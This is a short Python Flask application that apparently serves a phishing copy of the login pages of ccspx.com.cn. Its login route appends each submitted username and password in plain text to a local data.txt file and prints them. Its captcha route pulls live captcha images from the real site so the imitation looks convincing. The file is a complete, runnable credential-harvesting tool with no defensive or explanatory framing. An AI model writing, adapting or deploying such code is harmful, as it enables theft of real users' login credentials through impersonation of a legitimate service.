from flask import Flask, render_template, request
import requests
import os

app = Flask(__name__)


@app.route('/')
def index():
    return render_template('index.html')


@app.route('/login', methods=['POST', 'GET'])
def login():

    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        file = open('data.txt', 'a')
        info = '用户名:' + username + '  密码:'+password + '\n'
        file.write(info)
        file.close()
        print(info)
    return render_template('index.html')


@app.route('/captcha/captchaImage', methods=['POST', 'GET'])
def captcha():

    if request.method == 'GET':
        print(request.url)
        r = requests.get('https://www.ccspx.com.cn/captcha/captchaImage?type=char')
        with open('./static/img/captchaImage.jpg', 'wb') as f:
            f.write(r.content)
            f.close()
    return render_template('index.html')


@app.route('/forgetPwd', methods=['POST', 'GET'])
def forgetPwd():
    return render_template('index.html')


@app.route('/sysuser/register', methods=['POST', 'GET'])
def register():
    return render_template('index.html')


@app.route('/sms/register', methods=['POST', 'GET'])
def smsRegisert():
    return render_template('index.html')


if __name__ == '__main__':
    # 172.16.1.12 192.168.1.64
    file = open('data.txt', 'w+')
    file.close()

    app.run(host='127.0.0.1', port='8080')

